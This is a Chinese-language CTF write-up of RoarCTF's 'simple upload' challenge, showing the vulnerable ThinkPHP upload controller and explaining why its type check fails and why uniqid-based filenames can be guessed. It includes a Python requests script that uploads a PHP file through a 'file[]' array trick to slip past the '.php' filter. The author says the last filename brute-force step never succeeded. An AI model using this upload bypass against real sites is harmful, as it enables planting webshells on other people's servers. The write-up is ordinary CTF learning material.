RoarCTFweb-simple upload

前一段时间的嘶吼CTF做的我自闭了,正好现在wp出来了,学长也搞了环境,顺手白嫖一下,试着按照wp做了一遍,学习了一下新知识。

首先,题目提示我们这是文件上传,源码也告诉了我们,但我试了一下upload.php等发现没有文件上传的页面,估计是要自己写脚本上传文件。再看看源码:


namespace Home\Controller;

useThink\Controller;

classIndexControllerextendsController
{
   publicfunctionindex()
  {
       show_source(__FILE__);
  }
   publicfunctionupload()
  {
       $uploadFile=$_FILES['file'] ;
       
if (strstr(strtolower($uploadFile['name']), ".php") ) {
           return false;
      }
       
       $upload=new\Think\Upload();// 实例化上传类
       $upload->maxSize  =4096 ;// 设置附件上传大小
       $upload->allowExts  =array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
       $upload->rootPath='./Public/Uploads/';// 设置附件上传目录
       $upload->savePath='';// 设置附件上传子目录
       $info=$upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
      }else{// 上传成功获取上传文件信息
         $url=__ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
         echo json_encode(array("url"=>$url,"success"=>1));
      }
  }
}

可以看到,文件名会先进行大小写转换然后添加.php后缀,也就是说大小写绕过是不可能的了,然后限制了文件大小和文件类型(jpg,gif,png,jpeg),也就是说只要上传php文件,把后缀改成.jpg,代码就会自己将.jpg后缀换成.php(实际上因为$upload->allowExts用法错误,所以这个限制是没用的)。上传失败返回失败信息,成功后返回一个字符串,该字符串是数组经过json编码的(结果和序列化长的很像,有时间看看区别在哪)。我们先试着上传一个文件试试。
这里,我参照大佬的wp使用的是requests库的文件上传接口。
在参考了大佬关于requests库的部分描述
RoarCTFweb-simple upload_第1张图片
之后,我上传了正常的txt文件(这里我是使用的thinkphp的默认文件上传路径),它显示:
在这里插入图片描述
我访问了该目录之后发现能够看到自己上传的文本内容,但文件名字变了。
我又试图上传一个PHP文件,发现没有回显,毫无疑问是失败了。

看来大佬的wp之后才知道原来是要用条件竞争绕过strstr的后缀检验,然后我依照大佬的wp写py脚本上传文件,然后爆破出php文件名

#文件上传脚本
import requests

url = 'http://7a4fb2e4-7ba4-49b0-a137-450ceea340d1.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('special_dict.txt','r')}
file2 = {'file[]':open('Ckinfe.php','r')}//upload()不传参时即是批量上传所以用[]

r = requests.post(url,files = file1)
print r.text

r = requests.post(url,files = file2)
print r.text

r = requests.post(url, files = file1)
print r.text

RoarCTFweb-simple upload_第2张图片
现在只要最后一步爆破文件名就可以做出来了。很可惜的是我的脚本跑了很久也没跑出来。










该题的大致流程听起来很简单:条件竞争上传文件、爆破文件名,但都建立在对于thinkphp有一定了解的程度上,如:限制文件上传类型,乍一看是对的,其实是错误用法,所以文件类型限制无效。还有在上传文件时修改的文件名,通过查看源码发现它是以uniqid函数来重命名的而该函数是基于微秒的当前时间来更改文件名的,所以才能有爆破文件名的机会。




没什么好说的,我还是太菜了QAQ。

你可能感兴趣的:(初窥CTF)